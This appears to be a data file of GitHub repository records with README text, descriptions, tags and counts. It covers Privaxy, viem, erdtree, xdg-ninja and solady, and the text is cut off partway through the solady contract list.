Barre/privaxy	<div align="center"> <img src="https://user-images.githubusercontent.com/45085843/146658168-a4770cf5-e1b1-40e6-8931-ffc64d3d4936.png"> <h1>Privaxy</h1> <p> <strong>Next generation tracker and advertisement blocker</strong> </p> </div> <div align="center"> <img width="868" alt="dashboard" src="https://user-images.githubusercontent.com/45085843/210057822-f8a1e355-1b4d-4c48-a8c6-d72388e3b648.png"> <img width="912" alt="requests" src="https://user-images.githubusercontent.com/45085843/210057831-6c6b4aac-245c-4964-9d34-bcbd87d00a5f.png"> <img width="912" alt="filters" src="https://user-images.githubusercontent.com/45085843/210057827-9a413c82-77dd-4aaa-a7db-e12f0045608f.png"> <img width="912" alt="exclusions" src="https://user-images.githubusercontent.com/45085843/210057826-88168855-ac3e-4117-9d27-34199c39a7f3.png"> <img width="868" alt="custom_fiters" src="https://user-images.githubusercontent.com/45085843/210057820-d666baa5-4f63-45ca-ad2d-9eca95590100.png"> <img width="666" alt="taskbar" src="https://user-images.githubusercontent.com/45085843/210057833-df002cfd-aecf-4d67-bdd6-225ac3d6b980.png"> </div> ## About Privaxy is a MITM HTTP(s) proxy that sits in between HTTP(s) talking applications, such as a web browser and HTTP servers, such as those serving websites. By establishing a two-way tunnel between both ends, Privaxy is able to block network requests based on URL patterns and to inject scripts as well as styles into HTML documents. Operating at a lower level, Privaxy is both more efficient as well as more streamlined than browser add-on-based blockers. A single instance of Privaxy on a small virtual machine, server or even, on the same computer as the traffic is originating from, can filter thousands of requests per second while requiring a very small amount of memory. Privaxy is not limited by the browser’s APIs and can operate with any HTTP traffic, not only the traffic flowing from web browsers. Privaxy is also way more capable than DNS-based blockers as it is able to operate directly on URLs and to inject resources into web pages. ## Features - Suppport for [Adblock Plus filters](https://adblockplus.org/filter-cheatsheet), such as [easylist](https://easylist.to/). - Web graphical user interface with a statistics display as well as a live request explorer. - Support for uBlock origin's `js` syntax. - Support for uBlock origin's `redirect` syntax. - Support for uBlock origin's scriptlets. - Browser and HTTP client agnostic. - Support for custom filters. - Support for excluding hosts from the MITM pipeline. - Support for protocol upgrades, such as with websockets. - Automatic filter lists updates. - Very low resource usage. - Around 50MB of memory with approximately 320 000 filters enabled. - Able to filter thousands of requests per second on a small machine. ## Installation ### Using a pre-built binary Pre-built binaries for major operating systems and platforms are provided at [github releases](https://github.com/Barre/privaxy/releases). ### Local system configuration 1. Go to the GUI, click on "Save CA certificate". 2. Install the downloaded certificate locally. - Macos: <https://support.apple.com/guide/keychain-access/add-certificates-to-a-keychain-kyca2431/mac> - Linux: `cp privaxy_ca_cert.pem /usr/local/share/ca-certificates/` 3. Configure your local system to pass http traffic through privaxy which listens on localhost:8100. - Macos: <https://support.apple.com/guide/mac-help/change-proxy-settings-network-preferences-mac-mchlp2591/mac> - Ubuntu (gnome): <https://phoenixnap.com/kb/ubuntu-proxy-settings>	Privaxy is the next generation tracker and advertisement blocker. It blocks ads and trackers by MITMing HTTP(s) traffic.	adblock,adblocking,http-proxy,mitm,proxy,servers,adblocker,ad-blocker,blocker,blocker-proxy	8	2	23	80	16	1	2
wevm/viem	src/README.md	TypeScript Interface for Ethereum	abi,contracts,dapp,ethereum,typescript,wagmi,web3,viem	356	326	1,410	2,282	2	3	9
solidiquis/erdtree	# erdtree (erd) [![Build status](https://github.com/solidiquis/erdtree/actions/workflows/ci.yml/badge.svg)](https://github.com/solidiquis/erdtree/actions) [![Crates.io](https://img.shields.io/crates/v/erdtree.svg)](https://crates.io/crates/erdtree) [![Packaging status](https://repology.org/badge/tiny-repos/erdtree.svg)](https://repology.org/project/erdtree/versions) [![Crates.io](https://img.shields.io/crates/d/erdtree)](https://crates.io/crates/erdtree) `erdtree` is a modern, cross-platform, multi-threaded, and general purpose filesystem and disk-usage utility that is aware of `.gitignore` and hidden file rules. The following are some feature highlights: * Reports disk usage using a variety of metrics: bytes (logical or physical), blocks (Unix-only), word-count, or line-count. * Supports an `ls -l`-like view with information about owners, group, file permission, etc. (Unix-only). * Respects hidden file and gitignore rules by default. * Supports regular expressions and glob based searching by file-type. * Comes with several layouts: a reverse tree output, a `tree`-like output, or a `du`-like output. * Granular sorting capabilities. * Supports icons. * Colorized with `LS_COLORS`. You can think of `erdtree` as a little bit of `du`, `tree`, `find`, `wc` and `ls`. <p align="center"> <img src="https://github.com/solidiquis/erdtree/blob/master/assets/top_showcase.png?raw=true" alt="failed to load picture" /> </p> ## Table of Contents * [Usage](#usage) * [Installation](#installation) * [Documentation](#documentation) - [Configuration file](#configuration-file) - [Toml file](#toml-file) - [.erdtreerc](#erdtreerc) - [Hardlinks](#hardlinks) - [Symlinks](#symlinks) - [Disk usage](#disk-usage) - [Physical vs logical](#physical-vs-logical) - [Matching `du` output](#matching-du-output) - [Word and line count](#word-and-line-count) - [Layouts](#layouts) - [gitignore](#gitignore) - [Hidden files](#hidden-files) - [Icons](#icons) - [Maximum depth](#maximum-depth) - [Pruning empty directories](#pruning-empty-directories) - [Sorting](#sorting) - [Directories only](#directories-only) - [Long view](#long-view) - [Regular expressions and globbing](#regular-expressions-and-globbing) - [Truncating output](#truncating-output) - [Redirecting output and colorization](#redirecting-output-and-colorization) - [Parallelism](#parallelism) - [Completions](#completions) - [Same filesystem](#same-filesystem) * [Comparisons against similar programs](#comparisons-against-similar-programs) - [exa](#exa) - [dua](#dua) - [dust](#dust) - [fd](#fd) * [Rules for contributing](#rules-for-contributing) * [Security policy](#security-policy) * [Questions you might have](#questions-you-might-have) ## Usage ``` $ erd --help erdtree (erd) is a cross-platform, multi-threaded, and general purpose filesystem and disk usage utility. Usage: erd [OPTIONS] [DIR] Arguments: [DIR] Directory to traverse; defaults to current working directory Options: -c, --config <CONFIG> Use configuration of named table rather than the top-level table in .erdtree.toml -C, --color <COLOR> Mode of coloring output [default: auto] Possible values: - none: Print plainly without ANSI escapes - auto: Attempt to colorize output - force: Turn on colorization always -d, --disk-usage <DISK_USAGE> Print physical or logical file size [default: physical] Possible values: - logical: How many bytes does a file contain - physical: How many actual bytes on disk, taking into account blocks, sparse files, and compression - line: How many total lines a file contains - word: How many total words a file contains - block: How many blocks are allocated to store the file -f, --follow Follow symlinks -H, --human Print disk usage in human-readable format -i, --no-ignore Do not respect .gitignore files -I, --icons Display file icons -l, --long Show extended metadata and attributes --group Show file's groups --ino Show each file's ino --nlink Show the total number of hardlinks to the underlying inode --octal Show permissions in numeric octal format instead of symbolic --time <TIME> Which kind of timestamp to use; modified by default Possible values: - create: Time created (alias: ctime) - access: Time last accessed (alias: atime) - mod: Time last modified (alias: mtime) --time-format <TIME_FORMAT> Which format to use for the timestamp; default by default Possible values: - iso: Timestamp formatted following the iso8601, with slight differences and the time-zone omitted - iso-strict: Timestamp formatted following the exact iso8601 specifications - short: Timestamp only shows date without time in YYYY-MM-DD format - default: Timestamp is shown in DD MMM HH:MM format -L, --level <NUM> Maximum depth to display -p, --pattern <PATTERN> Regular expression (or glob if '--glob' or '--iglob' is used) used to match files --glob Enables glob based searching --iglob Enables case-insensitive glob based searching -t, --file-type <FILE_TYPE> Restrict regex or glob search to a particular file-type Possible values: - file: A regular file - dir: A directory - link: A symlink -P, --prune Remove empty directories from output -s, --sort <SORT> How to sort entries [default: size] Possible values: - name: Sort entries by file name in lexicographical order - rname: Sort entries by file name in reversed lexicographical order - size: Sort entries by size smallest to largest, top to bottom - rsize: Sort entries by size largest to smallest, bottom to top - access: Sort entries by newer to older Accessing Date - raccess: Sort entries by older to newer Accessing Date - create: Sort entries by newer to older Creation Date - rcreate: Sort entries by older to newer Creation Date - mod: Sort entries by newer to older Alteration Date - rmod: Sort entries by older to newer Alteration Date --dir-order <DIR_ORDER> Sort directories before or after all other file types [default: none] Possible values: - none: Directories are ordered as if they were regular nodes - first: Sort directories above files - last: Sort directories below files -T, --threads <THREADS> Number of threads to use [default: 10] -u, --unit <UNIT> Report disk usage in binary or SI units [default: bin] Possible values: - bin: Displays disk usage using binary prefixes - si: Displays disk usage using SI prefixes -x, --one-file-system Prevent traversal into directories that are on different filesystems -y, --layout <LAYOUT> Which kind of layout to use when rendering the output [default: regular] Possible values: - regular: Outputs the tree with the root node at the bottom of the output - inverted: Outputs the tree with the root node at the top of the output - flat: Outputs a flat layout using paths rather than an ASCII tree - iflat: Outputs an inverted flat layout with the root at the top of the output -., --hidden Show hidden files --no-git Disable traversal of .git directory when traversing hidden files --completions <COMPLETIONS> Print completions for a given shell to stdout [possible values: bash, elvish, fish, powershell, zsh] --dirs-only Only print directories --no-config Don't read configuration file --no-progress Hides the progress indicator --suppress-size Omit disk usage from output --truncate Truncate output to fit terminal emulator window -h, --help Print help (see a summary with '-h') -V, --version Print version ``` `-l, --long` and all of its arguments are currently not available on Windows, but support for a Windows variant is planned. ## Installation ### crates.io (non-Windows) Make sure you have [Rust and its toolchain](https://www.rust-lang.org/tools/install) installed. ``` $ cargo install erdtree ``` ### crates.io (Windows) The Windows version relies on some experimental features in order to properly support hard-link detection. If you want to build from `crates.io` you'll first need to install the nightly toolchain before installing `erdtree`: ``` $ rustup toolchain install nightly-2023-06-11 ``` Thereafter: ``` $ cargo +nightly-2023-06-11 install erdtree ``` ### Homebrew-core ``` $ brew install erdtree ``` ### Scoop ``` $ scoop install erdtree ``` ### NetBSD ``` $ pkgin install erdtree ``` ### Releases Binaries for common architectures can be downloaded from latest releases. ### Latest non-release If you'd like the latest features that are on `master` but aren't yet included as part of a release: ``` $ cargo install --git https://github.com/solidiquis/erdtree --branch master ``` Other means of installation to come. ## Documentation ### Configuration file If `erdtree`'s out-of-the-box defaults don't meet your specific requirements, you can set your own defaults using a configuration file. The configuration file currently comes in two flavors: `.erdtreerc` (to be deprecated) and `.erdtree.toml`. If you have both, `.erdtreerc` will take precedent and `.erdtree.toml` will be disregarded, but please note that `.erdtreerc` will be deprecated in the near future. There is no reason to have both. #### TOML file `erdtree` will look for `.erdtree.toml` in any of the following locations: On Unix-systems: ``` $ERDTREE_TOML_PATH $XDG_CONFIG_HOME/erdtree/.erdtree.toml $XDG_CONFIG_HOME/.erdtree.toml $HOME/.config/erdtree/.erdtree.toml $HOME/.erdtree.toml ``` On Windows: ``` %APPDATA%\erdtree\.erdtree.toml ``` [Here](example/.erdtree.toml) and below is an example of a valid `.erdtree.toml`: ```toml icons = true human = true # Compute file sizes like `du` # e.g. `erd --config du` [du] disk_usage = "block" icons = true layout = "flat" no-ignore = true no-git = true hidden = true level = 1 # Do as `ls -l` # e.g. `erd --config ls` [ls] icons = true human = true level = 1 suppress-size = true long = true # How many lines of Rust are in this code base? # e.g. `erd --config rs` [rs] disk-usage = "line" level = 1 pattern = "\\.rs$" ``` `.erdtree.toml` supports multiple configurations. The top-level table is the main config that will be applied without additional arguments. If you wish to use a separate configuration, create a named table like `du` above, set your arguments, and invoke it like so: ``` $ erd --config du # equivalent to $ erd --disk-usage block --icons --layout flat --no-ignore --no-git --hidden --level 1 ``` As far as the arguments go there are only three rules you need to be aware of: 1. `.erdtree.toml` only accepts long-named arguments without the preceding "--". 2. Types are enforced, so numbers are expected to be numbers, booleans are expected to be booleans, strings are expected to be strings, and so on and so forth. 3. `snake_case` and `kebap-case` works. #### .erdtreerc `erdtree` will look for a configuration file in any of the following locations: On Linux/Mac/Unix-like: - `$ERDTREE_CONFIG_PATH` - `$XDG_CONFIG_HOME/erdtree/.erdtreerc` - `$XDG_CONFIG_HOME/.erdtreerc` - `$HOME/.config/erdtree/.erdtreerc` - `$HOME/.erdtreerc` On Windows: - `$ERDTREE_CONFIG_PATH` - `%APPDATA%\erdtree\.erdtreerc` The format of a config file is as follows: - Every line is an `erdtree` option/argument. - Lines starting with `#` are considered comments and are thus ignored. Arguments passed to `erdtree` on the command-line will override those found in `.erdtreerc`. [Click here](example/.erdtreerc) for an example `.erdtreerc`. If you have a config that you would like to ignore without deleting you can use `--no-config`. ### Hardlinks If multiple hardlinks that point to the same inode are in the same file-tree, all will be included in the output but only one is considered when computing overall disk usage. ### Symlinks ``` -f, --follow Follow symlinks ``` Symlinks when followed will have their targets (and descendants) counted towards total disk usage, otherwise the size of the symlink itself will be reported. If a symlink's target happens to be in the same file-tree as the symlink itself, the target and its descendants will not be double-counted towards the total disk-usage. When a symlink to a directory is followed all of the box-drawing characters of its descendants will be painted in a different color for better visual feedback: <p align="center"> <img src="https://github.com/solidiquis/erdtree/blob/master/assets/symfollow.png?raw=true" alt="failed to load picture" /> </p> ### Disk usage By default disk usage is reported as the total amount of physical bytes stored on the disk. To get the human-readable form: ``` -H, --human Print disk usage in human-readable format ``` When using the human-readable form, binary units (e.g. `1 KiB = 1024 B`) are reported by default. If you prefer SI units (`1 KB = 1000 B`) you can use the following: ``` -u, --unit <UNIT> Report disk usage in binary or SI units [default: bin] Possible values: - bin: Displays disk usage using binary prefixes - si: Displays disk usage using SI prefixes ``` Additionally, various other disk usage metrics may be used instead of physical bytes. You have the following metrics available: ``` -d, --disk-usage <DISK_USAGE> Print physical or logical file size [default: physical] Possible values: - logical: How many bytes does a file contain - physical: How many actual bytes on disk, taking into account blocks, sparse files, and compression - line: How many total lines a file contains - word: How many total words a file contains - block: How many blocks are allocated to store the file ``` Lastly, if you'd like to omit disk usage from the output: ``` --suppress-size Omit disk usage from output ``` #### Physical vs logical Physical size takes into account compression, sparse files, and actual blocks allocated to a particular file. Logical size just reports the total number of bytes in a file. #### Matching `du` output If you want the same exact disk usage reporting as `du`, you can do the following: ``` $ erd --layout flat --disk-usage block --no-ignore --hidden --level ``` or in short-hand ``` $ erd -y flat -d block -i -. ``` <p align="center"> <img src="https://github.com/solidiquis/erdtree/blob/master/assets/du_match.png?raw=true" alt="failed to load png" /> </p> #### Word and line count When opting to report disk usage in either word and line count, unlike `wc`, `erdtree` will make no attempt to count the amount of words or lines for files that cannot be encoded as a UTF-8 string such as a JPEG file. For cases such as these the line or total word-count will just appear as empty. Additionally, the word and line-count of directories are the summation of all of the line/word-counts of its descendents. ### Layouts `erdtree` comes with four layouts: ``` -y, --layout <LAYOUT> Which kind of layout to use when rendering the output [default: regular] Possible values: - regular: Outputs the tree with the root node at the bottom of the output - inverted: Outputs the tree with the root node at the top of the output - flat: Outputs a flat layout using paths rather than an ASCII tree - iflat: Outputs an inverted flat layout with the root at the top of the output ``` * The `inverted` layout a more traditional `tree`-like layout where the root node is at the very top of the output. * The `regular` layout is a tree with the root node at the bottom of the output for quick information about total disk usage. * The `flat` layout is a tree-less output that more closely resembles `du`. ### gitignore ``` -i, --no-ignore Do not respect .gitignore files ``` `.gitignore` is respected by default but can be disregarded with the above argument. `.gitignore` rules are also respected on a per directory basis, so every directory that is encountered during traversal that has a `.gitignore` will also be considered. If `.gitignore` is respected any file that is ignored will not be included in the total disk usage. ### Hidden files ``` -., --hidden Show hidden files --no-git Disable traversal of .git directory when traversing hidden files ``` Hidden files ignored by default but can be included with `-., --hidden`. If opting in to show hidden files `.git` is included; to exclude it use `--no-git`. If hidden files are ignored it will not be included in the total disk usage. ### Icons ``` -I, --icons Display file icons ``` Icons are an opt-in feature because for icons to render properly it is required that the font you have hooked up to your terminal emulator contains the glyphs necessary to properly render icons. If your icons look something like this: <p align="center"> <img src="https://github.com/solidiquis/erdtree/blob/master/assets/broken_icons.png?raw=true" alt="failed to load png" /> </p> this means that the font you are using doesn't include the relevant glyphs. To resolve this issue download a [NerdFont](https://www.nerdfonts.com/) and hook it up to your terminal emulator. ### Maximum depth Directories are fully traversed by default. To limit the maximum depth: ``` -L, --level <NUM> Maximum depth to display ``` Limiting the maximum depth to display will not affect the total disk usage report nor the file count report. ### Pruning empty directories Sometimes empty directories may appear in the output. To remove them: ``` -P, --prune Remove empty directories from output ``` ### Sorting Various sorting methods are provided: ``` -s, --sort <SORT> How to sort entries [default: size] Possible values: - name: Sort entries by file name in lexicographical order - rname: Sort entries by file name in reversed lexicographical order - size: Sort entries by size smallest to largest, top to bottom - rsize: Sort entries by size largest to smallest, bottom to top - access: Sort entries by newer to older Accessing Date - raccess: Sort entries by older to newer Accessing Date - create: Sort entries by newer to older Creation Date - rcreate: Sort entries by older to newer Creation Date - mod: Sort entries by newer to older Alteration Date - rmod: Sort entries by older to newer Alteration Date --dir-order <DIR_ORDER> Sort directories before or after all other file types [default: none] Possible values: - none: Directories are ordered as if they were regular nodes - first: Sort directories above files - last: Sort directories below files ``` `--dir-order` and `--sort` acan be used independently of each other. ### Directories only You output only directories with: ``` --dirs-only Only print directories ``` This will not affect total disk usage. ### Long view Currently only available on Unix-like platforms. Support for Windows is planned. `erdtree` supports an `ls -l` like long-view: ``` -l, --long Show extended metadata and attributes --group Show file's groups --ino Show each file's ino --nlink Show the total number of hardlinks to the underlying inode --octal Show permissions in numeric octal format instead of symbolic --time <TIME> Which kind of timestamp to use; modified by default Possible values: - create: Time created (alias: ctime) - access: Time last accessed (alias: atime) - mod: Time last modified (alias: mtime) --time-format <TIME_FORMAT> Which format to use for the timestamp; default by default Possible values: - iso: Timestamp formatted following the iso8601, with slight differences and the time-zone omitted - iso-strict: Timestamp formatted following the exact iso8601 specifications - short: Timestamp only shows date without time in YYYY-MM-DD format - default: Timestamp is shown in DD MMM HH:MM format ``` By default the columns shown in the order of left to right are: * [permissions](https://en.wikipedia.org/wiki/File-system_permissions#Notation_of_traditional_Unix_permissions) in symbolic notation * The file owner * The date the file was last modified (or created or last accessed) ### Regular expressions and globbing Filtering for particular files using a regular expression or glob is supported using the following: ``` -p, --pattern <PATTERN> Regular expression (or glob if '--glob' or '--iglob' is used) used to match files --glob Enables glob based searching --iglob Enables case-insensitive glob based searching -t, --file-type <FILE_TYPE> Restrict regex or glob search to a particular file-type Possible values: - file: A regular file - dir: A directory - link: A symlink ``` If `--file-type` is not provided when filtering, regular files (`file`) is the default. Additionally, any file that is filtered out will be excluded from the total disk usage. Lastly, when applying a regular expression or glob to directories, all of its descendents regardless of file-type will be included in the output. If you wish to only show directories you may use `--dirs-only`. References: * [Globbing rules](https://git-scm.com/docs/gitignore#_pattern_format) * [Regular expressions](https://docs.rs/regex/latest/regex/#syntax) ### Truncating output In instances where the output does not fit the terminal emulator's window, the output itself may be rendered incoherently: <p align="center"> <img src="https://github.com/solidiquis/erdtree/blob/master/assets/untrunc.png?raw=true" alt="failed to load picture" /> </p> In these situations the following may be used: ``` --truncate Truncate output to fit terminal emulator window ``` <p align="center"> <img src="https://github.com/solidiquis/erdtree/blob/master/assets/trunc.png?raw=true" alt="failed to load picture" /> </p> ### Redirecting output and colorization By default colorization of the output is enabled if stdout is found to be a tty. If the output is not a tty such in the case of redirection to a file or piping to another command then colorization is disabled. If, however, the default behavior doesn't suit your needs you have control over the modes of colorization: ``` -C, --color <COLOR> Mode of coloring output [default: auto] Possible values: - none: Print plainly without ANSI escapes - auto: Attempt to colorize output - force: Turn on colorization always ``` `erdtree` also supports [NO_COLOR](https://no-color.org/). <p align="center"> <img src="https://github.com/solidiquis/erdtree/blob/master/assets/colorization.png?raw=true" alt="failed to load picture" /> </p> ### Parallelism The amount of threads used by `erdtree` can be adjusted with the following: ``` -T, --threads <THREADS> Number of threads to use [default: 3] ``` #### Why parallelism A common question that gets asked is how parallelism benefits disk reads when filesystem I/O is processed serially. While this is true, parallelism still results in improved throughput due to the fact that disks have a [queue depth](https://en.wikipedia.org/wiki/IOPS) that, when saturated, allows requests to be processed in aggregate keeping the disk busy as opposed to having it wait on `erdtree` to do CPU-bound processing in between requests. Additionally these threads aren't just parallelizing disk reads, they're also parallelizing the processing of the retrieved data. It should be noted however that performance, as a function of thread-count, is asymptotic in nature (see [Amdahl's Law](https://en.wikipedia.org/wiki/Amdahl%27s_law)) so you'll quickly reach a point of dimishing returns after a certain thread-count threshold as you'd be paying the cost of managing a larger threadpool with no added benefit. For empirical data on the subject checkout [this article](https://pkolaczk.github.io/disk-parallelism/). ### Completions `--completions` is used to generate auto-completions for common shells so that the `tab` key can attempt to complete your command or give you hints; where you place the output highly depends on your shell as well as your setup. In my environment where I use `zshell` with `oh-my-zsh`, I would install completions like so: ``` $ erd --completions zsh > ~/.oh-my-zsh/completions/_erd $ source ~/.zshrc ``` ### Same filesystem If you are traversing a directory that contains mount points to other filesystems that you do not wish to traverse, use the following: ``` -x, --one-file-system Prevent traversal into directories that are on different filesystems ``` ## Rules for contributing For rules on how to contribute please refer to [CONTRIBUTING.md](CONTRIBUTING.md). ## Security policy For information regarding `erdtree`'s security policy and how to report a security vulnerability please refer to [SECURITY_POLICY.md](SECURITY.md) ## Comparisons against similar programs It goes without saying that the following programs are all amazing in their own right and were highly influential in `erdtree`'s development. While each of the following are highly specialized in acting as modern replacements for their Unix progenitors, `erdtree` aims to take bits and pieces of each that people use most frequently and assemble them into a unified highly practical tool. No case will be made as to why `erdtree` should be preferred over X, Y, or Z, but because of some notable similarities with the following programs it is worth a brief comparison. ### [exa](https://github.com/ogham/exa) `exa` and `erdtree` are similar in that they both have tree-views and show information about permissions, owners, groups, etc.. The disadvantage of `exa`, however, is that it [does not provide information about the disk usages of directories](https://github.com/ogham/exa/issues/91), which also makes sorting files by size a little dubious. The advantage `exa` has over `erdtree`, however, is in the fact that `exa` is much more comprehensive as an `ls` replacement. Both tools are complimentary to one another and it is encouraged that you have both in your toolkit. ### [dua](https://github.com/Byron/dua-cli) `dua` is a fantastic interactive disk usage tool that serves as a modern alternative to [ncdu](https://en.wikipedia.org/wiki/Ncdu). If you're in the mood for something interactive and solely focused on disk usage then `dua` might suit you more. If you're interested in file permissions and doing quick static analysis of your disk usage without spinning up an entire interactive UI then perhaps consider `erdtree`. ### [dust](https://github.com/bootandy/dust) `dust` is another fantastic tool that is closer in geneology to the traditional `du` command. If you're strictly looking for a modern replacement to `du` then `dust` is a great choice. ### [fd](https://github.com/sharkdp/fd) `fd` is much more comprehensive as a general finder tool, offering itself as a modern replacement to `find`. If you're looking for more granularity in your ability to search beyond just globbing, regular expressions, and the three basic file types (files, directories, and symlinks) then `fd` is the optimal choice. ## Questions you might have _Q: Why did you make this? It's totally unnecessary._ A: Ennui. _Q: Why is it called erdtree?_ A: It's a reference to an object of worship in Elden Ring. _Q: Is it any good?_ A: Yes. _Q: Why is there no mention of this project being blazingly fast or written in Rust? Is it slow or something?_ A: Okay fine. `erdtree` is written in Rust and is blazingly fast. <img src="https://i.redd.it/t7ns9qtb5gh81.jpg">	A modern, cross-platform, multi-threaded, and general purpose filesystem and disk-usage utility that is aware of .gitignore and hidden file rules.	command,command-line,command-line-tool,rust,cli,tree,du,exa,dua,dust	19	23	139	757	24	9	3
b3nj5m1n/xdg-ninja	<!-- markdownlint-disable MD041 --> <!-- markdownlint-configure-file { "no-inline-html": { "allowed_elements": [div, h1, h4, p, i, img] } } --> <div align="center"> <h1>xdg-ninja</h1> <h4> Because you wouldn't let just anyone into your <i>$HOME</i> </h4> </div> A shell script that checks your `$HOME` for unwanted files and directories. <p align="center"> <img src="https://s11.gifyu.com/images/68747470733a2f2f73382e67696679752e636f6d2f696d616765732f5065656b2d323032322d30352d31332d31362d30372e676966.gif" width="500" alt="xdg-ninja command output" /> </p> When `xdg-ninja` encounters a file or directory it knows about, it will tell you whether it's possible to move it to the appropriate location, and how to do it. The configurations are from the [arch wiki page on XDG_BASE_DIR](https://wiki.archlinux.org/title/XDG_Base_Directory), [antidot](https://github.com/doron-cohen/antidot) (thanks to Scr0nch for writing a conversion tool), and crowdsourced by other users. ## Installing ### Manual Installation Clone the repository, then run the [`./xdg-ninja.sh`](./xdg-ninja.sh) script. ```sh git clone https://github.com/b3nj5m1n/xdg-ninja cd xdg-ninja ./xdg-ninja.sh ``` This will run every test in the default configuration. ### [Nix](https://nixos.org) Turn on [flakes](https://nixos.wiki/wiki/Flakes), then run the following command: ```sh nix run github:b3nj5m1n/xdg-ninja ``` ### [Homebrew](https://brew.sh) > [!NOTE] > Due to how `xdg-ninja` is developed, releases are not cut, so Homebrew ships a stale version, therefore you have to install and upgrade `xdg-ninja` from the git HEAD. ref: [#204](https://github.com/b3nj5m1n/xdg-ninja/issues/204) > > Homebrew will not upgrade `xdg-ninja` when running a generic `brew upgrade`, you must specifically upgrade `xdg-ninja` from the git HEAD, _see below_ Install: ```sh brew install xdg-ninja --HEAD ``` Upgrade: ```sh brew upgrade xdg-ninja --fetch-HEAD ``` ### Other Package Managers `xdg-ninja` is avaliable in many other package managers. The full list is available on the [repology page](https://repology.org/project/xdg-ninja/versions). Follow the instructions for your package manager to install `xdg-ninja`. ## Contributing ### Dependencies - Your favorite POSIX-compliant shell ([bash](https://repology.org/project/bash/packages), [zsh](https://repology.org/project/zsh/packages), [dash](https://repology.org/project/dash-shell/packages), etc.) - [jq](https://repology.org/project/jq/packages) for parsing the json files - [find](https://repology.org/project/findutils/versions) #### Optional - [glow](https://repology.org/project/glow/packages) for rendering Markdown in the terminal ([bat](https://repology.org/project/bat-cat/packages), [pygmentize](https://repology.org/project/pygments/versions) or [highlight](https://repology.org/project/highlight/packages) can be used as a fallback, but glow's output is clearer therefore glow is recommended) ### Configuration The configuration is done in the [`./programs/`](./programs/) directory, which should be located in the same working directory as the [`xdg-ninja.sh`](./xdg-ninja.sh) script. This can be overridden with the `XN_PROGRAMS_DIR` environment variable. You define a program, and then a list of files and directories which that program ruthlessly puts into your `$HOME` directory. For each file/directory, you specify if it can be (re)moved. If this is the case, you also specify instructions on how to accomplish this in Markdown. Files in this directory can have any name, but using the name of the program is recommended. ### Automatically Generating Configuration For x86_64 Linux systems, you can download the `xdgnj` binary from the [releases page](https://github.com/b3nj5m1n/xdg-ninja/releases). Alternatively, you can build it from source using `cabal` or `stack`, use the nix flake or use the provided docker image. > To be clear, this is just a tool that will help you automatically generate the config files, you still only need your shell to run the tests #### Available commands ```sh xdgnj add # Adds a new configuration xdgnj prev programs/FILE.json # Preview the configuration for a program xdgnj edit programs/FILE.json # Edit the configuration for a program xdgnj run # Mostly the same as running the shell script ``` #### Prebuilt Binaries > [!IMPORTANT] > The binaries only run on x86_64 Linux systems. ```sh curl -fsSL -o xdgnj https://github.com/b3nj5m1n/xdg-ninja/releases/latest/download/xdgnj chmod +x xdgnj ``` #### Building from source You can use `cabal build` or `stack build` #### Nix ```sh nix run github:b3nj5m1n/xdg-ninja#xdgnj-bin ... ``` #### Docker Use the provided dockerfile in [`./haskell/build/`](./haskell/build/). ### Manually Creating Configuration We're going to use `git` as an example. By default, it puts the file `.gitconfig` into `$HOME`. Luckily, the XDG spec is supported by git, so we can simply move the file to `$XDG_CONFIG_HOME/git/config`. We can use that last sentence as our instructions. In this case, there are no newlines, so escaping this string for use in json is trivial, however, this is how you should generally approach it: ```sh echo "Luckily, the XDG spec is supported by git, so we can simply move the file to _$XDG_CONFIG_HOME/git/config_." \| jq -aRs . ``` Let's see what the output of this command looks like for something a little more sophisticated. Here's an example file: ```sh cat example.md ``` ```text Currently not fixable. _(But you can probably just delete the dir)_ ``` Here's what catting this file into `jq` produces: ```sh cat example.md \| jq -aRs . ``` ```text "Currently not fixable.\n\n_(But you can probably just delete the dir)_\n" ``` Now, we can assemble our final json file: ```json { "name": "git", "files": [ { "path": "$HOME/.gitconfig", "movable": true, "help": "Luckily, the XDG spec is supported by git, so we can simply move the file to _$XDG_CONFIG_HOME/git/config_.\n" } ] } ``` Saving this as `git.json` in the [`./programs/`](./programs/) directory will result in the script picking it up and checking the file. If you've created a configuration for a file that isn't in the official repository yet, make sure to create a pull request so that other people can benefit from it as well.	A shell script which checks your $HOME for unwanted files and directories.	linux,shell,terminal,xdg,xdg-basedir,xdg-compliance	3	150	306	497	21	2	3
Vectorized/solady	# <img src="logo.svg" alt="solady" height="118"/> [![NPM][npm-shield]][npm-url] [![CI][ci-shield]][ci-url] [![Solidity][solidity-shield]][solidity-ci-url] Gas optimized Solidity snippets. I'm sooooooOooooooooOoooOoooooooooooooooo... ## Installation To install with [Foundry](https://github.com/gakonst/foundry): ```sh forge install vectorized/solady ``` To install with [Hardhat](https://github.com/nomiclabs/hardhat): ```sh npm install solady ``` ## Contracts The Solidity smart contracts are located in the `src` directory. ```ml accounts ├─ Receiver — "Receiver mixin for ETH and safe-transferred ERC721 and ERC1155 tokens" ├─ ERC1271 — "ERC1271 mixin with nested EIP-712 approach" ├─ ERC4337 — "Simple ERC4337 account implementation" ├─ ERC4337Factory — "Simple ERC4337 account factory implementation" ├─ ERC6551 — "Simple ERC6551 account implementation" ├─ ERC6551Proxy — "Relay proxy for upgradeable ERC6551 accounts" ├─ LibERC6551 — "Library for interacting with ERC6551 accounts" auth ├─ Ownable — "Simple single owner authorization mixin" ├─ OwnableRoles — "Simple single owner and multiroles authorization mixin" tokens ├─ WETH — "Simple Wrapped Ether implementation" ├─ ERC20 — "Simple ERC20 + EIP-2612 implementation" ├─ ERC4626 — "Simple ERC4626 tokenized Vault implementation" ├─ ERC721 — "Simple ERC721 implementation with storage hitchhiking" ├─ ERC2981 — "Simple ERC2981 NFT Royalty Standard implementation" ├─ ERC1155 — "Simple ERC1155 implementation" ├─ ERC6909 — "Simple EIP-6909 minimal multi-token implementation" utils ├─ MerkleProofLib — "Library for verification of Merkle proofs" ├─ SignatureCheckerLib — "Library for verification of ECDSA and ERC1271 signatures" ├─ ECDSA — "Library for verification of ECDSA signatures" ├─ P256 — "Gas optimized P256 wrapper" ├─ EIP712 — "Contract for EIP-712 typed structured data hashing and signing" ├─ DeploylessPredeployQueryer — "Deployless queryer for predeploys" ├─ ERC1967Factory — "Factory for deploying and managing ERC1967 proxy contracts" ├─ ERC1967FactoryConstants — "The address and bytecode of the canonical ERC1967Factory" ├─ JSONParserLib — "Library for parsing JSONs" ├─ LibSort — "Library for efficient sorting of memory arrays" ├─ LibPRNG — "Library for generating pseudorandom numbers" ├─ Base64 — "Library for Base64 encoding and decoding" ├─ SSTORE2 — "Library for cheaper reads and writes to persistent storage" ├─ CREATE3 